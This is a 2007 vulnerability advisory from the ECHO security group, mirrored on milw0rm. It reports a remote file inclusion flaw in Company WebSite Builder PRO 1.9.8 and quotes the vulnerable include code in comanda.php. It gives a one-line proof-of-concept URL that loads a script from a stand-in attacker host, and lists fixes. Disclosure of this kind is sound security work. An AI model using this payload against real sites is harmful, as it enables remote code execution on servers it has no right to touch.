93 lines
No EOL
3 KiB
Text
93 lines
No EOL
3 KiB
Text
____________________ ___ ___ ________
|
|
\_ _____/\_ ___ \ / | \\_____ \
|
|
| __)_ / \ \// ~ \/ | \
|
|
| \\ \___\ Y / | \
|
|
/_______ / \______ /\___|_ /\_______ /
|
|
\/ \/ \/ \/ .OR.ID
|
|
ECHO_ADV_76$2007
|
|
|
|
--------------------------------------------------------------------------------------------
|
|
[ECHO_ADV_76$2007] Company WebSite Builder PRO (INCLUDE_PATH) Remote File Inclusion Vulnerability
|
|
--------------------------------------------- ----------------------------------------------
|
|
|
|
Author : Dedi Dwianto a.k.a the_day
|
|
Date Found : March, 15th 2007
|
|
Location : Indonesia, Jakarta
|
|
web : http://advisories.echo.or.id/adv/adv76-theday-2007.txt
|
|
Critical Lvl : Highly critical
|
|
Impact : System access
|
|
Where : From Remote
|
|
---------------------------------------------------------------------------
|
|
|
|
Affected software description:
|
|
~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Application : Company WebSite Builder PRO ( CWB )
|
|
version : 1.9.8
|
|
URL : http://www.grafxsoftware.com/
|
|
|
|
This software makes it easy to build an e-commerce site that processes credit cards,
|
|
wire transfers. This is a great Content Management System that's easy to install and use WITHOUT having
|
|
to FTP upload pages every time they need to be updated.
|
|
---------------------------------------------------------------------------
|
|
|
|
Vulnerability:
|
|
~~~~~~~~~
|
|
|
|
- Invalid include function at comanda.php
|
|
-----------------------comanda.php------------
|
|
|
|
<?
|
|
...
|
|
include($INCLUDE_LANGUAGE_PATH."$LANG.inc.php");
|
|
include($INCLUDE_PATH."connection.php");
|
|
include_once($INCLUDE_PATH."connection.php");
|
|
include_once($INCLUDE_PATH."cls_produs.php");
|
|
include_once($INCLUDE_PATH."cls_left_menu.php");
|
|
include_once($INCLUDE_PATH."cls_stire.php");
|
|
include_once($INCLUDE_PATH."cls_orders.php");
|
|
include_once($INCLUDE_PATH."cls_headline_prod.php");
|
|
include_once($INCLUDE_PATH."cls_checkout.php");
|
|
include_once("cls_download_products.php");
|
|
....
|
|
?>
|
|
----------------------------------------------------------
|
|
|
|
Input passed to the "$INCLUDE_PATH" parameter in comanda.php is not
|
|
properly verified before being used. This can be exploited to execute
|
|
arbitrary PHP code by including files from local or external
|
|
resources.
|
|
|
|
|
|
|
|
Proof Of Concept:
|
|
~~~~~~~~~~
|
|
|
|
http://localhost/cwb/comanda.php?INCLUDE_PATH=http://atacker.com/inject.txt?
|
|
|
|
|
|
Solution:
|
|
~~
|
|
|
|
- Sanitize variable $INCLUDE_PATH affected files.
|
|
- Turn off register_globals
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
Shoutz:
|
|
~
|
|
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
|
|
~ Jessy Nice Girl
|
|
~ az001,bomm_3x,matdhule
|
|
~ newbie_hacker@yahoogroups.com
|
|
~ #aikmel - #e-c-h-o @irc.dal.net
|
|
------------------------------------------------------------------------
|
|
---
|
|
Contact:
|
|
~
|
|
EcHo Research & Development Center
|
|
http://advisories.echo.or.id
|
|
erdc[at]echo[dot]or[dot]id
|
|
the_day[at]echo[dot]or[dot]id
|
|
|
|
# milw0rm.com [2007-03-15] |